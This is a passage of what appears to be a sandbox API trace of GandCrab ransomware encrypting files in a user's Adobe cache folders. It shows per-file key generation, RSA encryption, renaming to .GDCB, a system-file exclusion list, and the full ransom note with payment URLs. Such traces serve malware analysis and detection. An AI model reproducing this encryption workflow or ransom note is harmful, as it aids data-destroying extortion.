pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0169.649] CryptEncrypt (in: hKey=0x5a4958, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0169.649] GetLastError () returned 0x0 [0169.649] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0169.649] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0169.649] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0169.650] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0169.650] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285eab0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285eab0*=0xd146, lpOverlapped=0x0) returned 1 [0169.677] VirtualAlloc (lpAddress=0x0, dwSize=0xd150, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0169.678] VirtualAlloc (lpAddress=0x0, dwSize=0xd150, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0169.679] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.679] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=-53574, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.679] WriteFile (in: hFile=0x4e8, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0xd150, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285eaa8*=0xd150, lpOverlapped=0x0) returned 1 [0169.680] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.680] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.682] WriteFile (in: hFile=0x4e8, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285eaa8*=0x100, lpOverlapped=0x0) returned 1 [0169.682] WriteFile (in: hFile=0x4e8, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285eaa8*=0x100, lpOverlapped=0x0) returned 1 [0169.683] WriteFile (in: hFile=0x4e8, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285eaa8*=0x10, lpOverlapped=0x0) returned 1 [0169.683] CloseHandle (hObject=0x4e8) returned 1 [0169.684] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.684] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.684] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.685] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat.gdcb")) returned 1 [0169.685] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.686] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.686] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.686] lstrcmpW (lpString1="IconCacheRdr65536.dat", lpString2=".") returned 1 [0169.686] lstrcmpW (lpString1="IconCacheRdr65536.dat", lpString2="..") returned 1 [0169.686] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" [0169.686] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.686] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat") returned 91 [0169.686] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat") returned 91 [0169.686] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat") returned 91 [0169.686] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat") returned 91 [0169.686] lstrcmpiW (lpString1="IconCacheRdr65536.dat", lpString2="desktop.ini") returned 1 [0169.686] lstrcmpiW (lpString1="IconCacheRdr65536.dat", lpString2="autorun.inf") returned 1 [0169.686] lstrcmpiW (lpString1="IconCacheRdr65536.dat", lpString2="ntuser.dat") returned -1 [0169.686] lstrcmpiW (lpString1="IconCacheRdr65536.dat", lpString2="iconcache.db") returned 1 [0169.686] lstrcmpiW (lpString1="IconCacheRdr65536.dat", lpString2="bootsect.bak") returned 1 [0169.686] lstrcmpiW (lpString1="IconCacheRdr65536.dat", lpString2="boot.ini") returned 1 [0169.686] lstrcmpiW (lpString1="IconCacheRdr65536.dat", lpString2="ntuser.dat.log") returned -1 [0169.686] lstrcmpiW (lpString1="IconCacheRdr65536.dat", lpString2="thumbs.db") returned -1 [0169.686] lstrcmpiW (lpString1="IconCacheRdr65536.dat", lpString2="GDCB-DECRYPT.txt") returned 1 [0169.686] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat")) returned 0x20 [0169.689] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat", dwFileAttributes=0x20) returned 1 [0169.689] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0169.689] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" [0169.689] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat", lpString2=".GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0169.689] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4e48) returned 1 [0169.690] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0169.690] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0169.690] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0169.690] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0169.690] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0169.690] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.690] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4430) returned 1 [0169.691] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0169.691] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0169.691] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0169.691] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0169.691] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0169.691] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.691] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0169.691] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0169.691] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4e48) returned 1 [0169.694] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x5a5018) returned 1 [0169.694] CryptGetKeyParam (in: hKey=0x5a5018, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0169.694] CryptEncrypt (in: hKey=0x5a5018, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0169.694] GetLastError () returned 0x0 [0169.694] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0169.694] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4e48) returned 1 [0169.695] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x5a48d8) returned 1 [0169.695] CryptGetKeyParam (in: hKey=0x5a48d8, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0169.695] CryptEncrypt (in: hKey=0x5a48d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0169.696] GetLastError () returned 0x0 [0169.696] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0169.696] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0169.696] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0169.696] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0169.696] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285eab0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285eab0*=0x2cf07, lpOverlapped=0x0) returned 1 [0169.722] VirtualAlloc (lpAddress=0x0, dwSize=0x2cf10, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0169.723] VirtualAlloc (lpAddress=0x0, dwSize=0x2cf10, flAllocationType=0x3000, flProtect=0x4) returned 0x29e0000 [0169.726] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.726] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=-184071, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.727] WriteFile (in: hFile=0x4e8, lpBuffer=0x29e0000*, nNumberOfBytesToWrite=0x2cf10, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x29e0000*, lpNumberOfBytesWritten=0x285eaa8*=0x2cf10, lpOverlapped=0x0) returned 1 [0169.727] VirtualFree (lpAddress=0x29e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.728] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.731] WriteFile (in: hFile=0x4e8, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285eaa8*=0x100, lpOverlapped=0x0) returned 1 [0169.731] WriteFile (in: hFile=0x4e8, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285eaa8*=0x100, lpOverlapped=0x0) returned 1 [0169.731] WriteFile (in: hFile=0x4e8, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285eaa8*=0x10, lpOverlapped=0x0) returned 1 [0169.731] CloseHandle (hObject=0x4e8) returned 1 [0169.734] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.734] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.734] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.734] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat.gdcb")) returned 1 [0169.735] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.735] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.736] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.736] lstrcmpW (lpString1="SharedDataEvents", lpString2=".") returned 1 [0169.736] lstrcmpW (lpString1="SharedDataEvents", lpString2="..") returned 1 [0169.736] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0169.736] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.736] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 86 [0169.736] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 86 [0169.736] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.736] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.736] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2=".") returned 1 [0169.736] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2="..") returned 1 [0169.736] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0169.736] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\" [0169.736] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.736] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.736] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.736] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.736] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.736] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.736] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 90 [0169.737] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0169.737] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5a4b58 [0169.737] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.737] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.737] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.737] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.737] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0169.738] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.738] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.738] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt") returned 107 [0169.738] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrobat\\dc\\toolssearchcacherdr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0169.740] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0169.740] WriteFile (in: hFile=0x4e8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0169.741] CloseHandle (hObject=0x4e8) returned 1 [0169.741] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.741] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 90 [0169.741] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0169.741] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5a4918 [0169.741] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.741] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.741] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.741] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.742] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.742] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.742] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.742] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0169.742] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.742] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 106 [0169.742] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 106 [0169.742] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 106 [0169.742] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 106 [0169.742] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.742] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.742] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.742] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.742] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.742] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.742] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.742] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.742] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.742] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.742] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0169.742] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.742] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.742] lstrcmpW (lpString1="UserCache.bin", lpString2=".") returned 1 [0169.742] lstrcmpW 